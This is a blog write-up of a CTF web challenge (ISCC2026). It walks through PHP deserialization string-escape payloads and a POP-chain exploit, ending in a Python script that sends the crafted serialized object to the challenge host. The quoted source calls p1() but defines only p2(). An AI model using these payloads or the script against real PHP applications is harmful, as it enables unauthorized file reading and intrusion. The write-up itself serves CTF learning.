web-数字古墓

ISCC2026 WriteUp 提交模板

web-数字古墓

在被遗忘的数字荒原深处
沉睡着一座古老的“序列陵墓”
传说陵墓中布满机关
前殿守着能够吞噬字符的“文字陷阱”
后殿则由一连串会自行苏醒的“对象守卫”看守
只有能读懂变量铭文
操纵机关链条的探索者
才能解开陵墓的终极封印——
并从沉迷千年的黑暗中带走那段隐藏的 FLAG
你,准备好踏入这座数字墓室了吗?
题目地址:39.105.213.28:10026

解题思路(必须包含文字说明+截图)

1.控制台查看逻辑,发现有个路径,直接拼接访问:http://39.105.213.28:10026/rune_trial.php

image.png

访问后是个原码:

image.png

原码:

class nameA {
    public $x;
    public $y;

    public function __construct($a, $b) {
        $this->x = $a;
        $this->y = $b;
    }

    public function __wakeup() {
        if ($this->y === 'admin123') {
            include('relic_manifest.php');
            echo "成功!文件名: " . $filename;
        }
    }
}

function p2($i) {
    $key = "bnhpjowd";
    $search = '';
    for ($j = 0; $j < strlen($key); $j++) {
        $search .= chr(ord($key[$j]) - 1);
    }
    $replace = 'iscc';
    return str_replace($search, $replace, $i);
}

if (isset($_GET['d']) && isset($_GET['p'])) {
    $input = $_GET['d'];
    $passwd = $_GET['p'];
    if (strpos($input, 'amgoinvc') === false) {
        die('invalid input');
    }
    $obj = new nameA($input, $passwd);
    $ser = serialize($obj);
    $result = p1($ser);
    unserialize($result);
}

2.分析源码

image.png

这里需要伪造y

image.png

这里可以看到,会把amgoinvc替换为iscc

image.png

amgoinvc 会在序列化后被替换成更短的 iscc,于是字符串长度声明和真实内容脱节。我们考虑使用四个amgoinvc,这样序列化后会少16个字节。
s:32:"amgoinvcamgoinvcamgoinvcamgoinvc";-> s:32:"iscciscciscciscc";
所以 PHP 反序列化时,看到的是:s:32:"iscciscciscciscc...,其会坚持去阅读32个字节。

所以我们可以构造:O:5:"nameA":2:{s:1:"x";s:32:"iscciscciscciscc";s:1:"y";s:26:"";s:1:"y";s:8:"admin123";}";}
在读完iscc之后,还需要继续吞掉16个字节,刚好吃掉";s:1:"y";s:26:"。当x被收尾之后,剩下的就是s:1:"y";s:8:"admin123";}";}->$this->y = "admin123"

image.png

我们记一下:W3f82KD9.txt

3.第二关

image.png

入口点:$data = @unserialize($input, ['allowed_classes' => $allowed]);也就是只能反序列化白名单类。

核心类如下:

class RitualEngine {
    protected $settings;
    public $target;
    public $callback;

    public function run($file = null) {
        $baseDir = __DIR__;
        $name = $file ?: $this->target;
        if (!$name) return;
        if (!preg_match('/^[A-Za-z0-9_-]+\.txt$/', $name)) return;
        $path = $baseDir . DIRECTORY_SEPARATOR . $name;
        $real = realpath($path);
        if ($real === false) return;
        if (strpos($real, $baseDir . DIRECTORY_SEPARATOR) !== 0) return;
        if (@is_file($real) && @filesize($real) < 2048) {
            @highlight_file($real);
        }
    }

    public function __invoke() {
        if (empty($this->callback)) return;
        $action = @unserialize($this->callback);
        if (!is_array($action) || count($action) !== 2) return;
        [$obj, $method] = $action;
        if (!($obj instanceof self)) return;
        if (!is_string($method)) return;

        $map = [
            'view' => 'run',
        ];
        if (!isset($map[$method])) return;
        $real = $map[$method];
        $obj->$real();
    }
}

class GateSentinel {
    public $object;
    public $tool;

    public function __toString() {
        if (isset($this->tool['blade'])) {
            $this->tool['blade']->object;
        }
        return "GateSentinel";
    }

    public function __wakeup() {
        if (preg_match("/\.\.|flag|etc/i", $this->object)) {
            $this->object = "index.html";
        }
    }
}

class Keystone {
    public $center;

    public function __get($name) {
        $processor = $this->center;
        if (!is_object($processor)) return null;

        $safeClasses = ['RitualEngine', 'GateSentinel', 'RuneScribe', 'Chronicler', 'Keystone'];
        if (!in_array(get_class($processor), $safeClasses, true)) return null;

        if (is_callable($processor)) {
            return $processor();
        }
        return null;
    }
}

先看GateSentinel::__wakeup()

image.png

里面的正则匹配时,如若$this->object不是字符串,而是对象会触发__toString
如果 tool['blade'] 放的是 Keystone 对象,其里面不存在object属性会触发Keystone::__get('object')

image.png

centerRitualEngine,由于它实现了 __invoke()方法, 所以is_callable($processor)判断通过接着调用RitualEngine::__invoke()

image.png|608

在这个方法中会调用:$action = @unserialize($this->callback);,做反序列化。
接着看: [$obj, $method] = $action;,要求 $objRitualEngine 实例, $method 必须是字符串。 view 通过映射变成 run

image.png

run需要的参数就是target,且是RitualEngine中的函数,所以我们可以设计callback为:[ inner_RitualEngine, "view" ],其中inner_RitualEngine->target = "W3f82KD9.txt"

如此,即可。

image.png

运行exp有:ISCC{ankh_rune_sigma_47x_decrypted}

Exp

import requests

TARGET = "W3f82KD9.txt"
URL = "http://39.105.213.28:10026/mechanism_chamber.php"


def pack_str(text):
    return 's:%d:"%s";' % (len(text), text)


def pack_key(key):
    if isinstance(key, int):
        return f"i:{key};"
    return pack_str(key)


def pack_array(items):
    chunks = [f"a:{len(items)}:{{"]
    for k, v in items:
        chunks.append(pack_key(k))
        chunks.append(v)
    chunks.append("}")
    return "".join(chunks)


def pack_object(class_name, fields):
    pieces = [f'O:{len(class_name)}:"{class_name}":{len(fields)}:{{']
    for name, value in fields.items():
        pieces.append(pack_str(name))
        pieces.append(value)
    pieces.append("}")
    return "".join(pieces)


reader = pack_object("RitualEngine", {
    "target": pack_str(TARGET),
    "callback": pack_str(""),
})

dispatch = pack_array([
    (0, reader),
    (1, pack_str("view")),
])

trigger = pack_object("RitualEngine", {
    "target": pack_str("dummy.txt"),
    "callback": pack_str(dispatch),
})

pivot = pack_object("Keystone", {
    "center": trigger,
})

string_gate = pack_object("GateSentinel", {
    "object": pack_str("start.html"),
    "tool": pack_array([
        ("blade", pivot),
    ]),
})

entry = pack_object("GateSentinel", {
    "object": string_gate,
    "tool": pack_str(""),
})

resp = requests.post(URL, data={"data": entry}, timeout=8)
print(resp.text)

posted @ 2026-05-19 16:31  MillionMind  阅读(12)  评论(0)    收藏  举报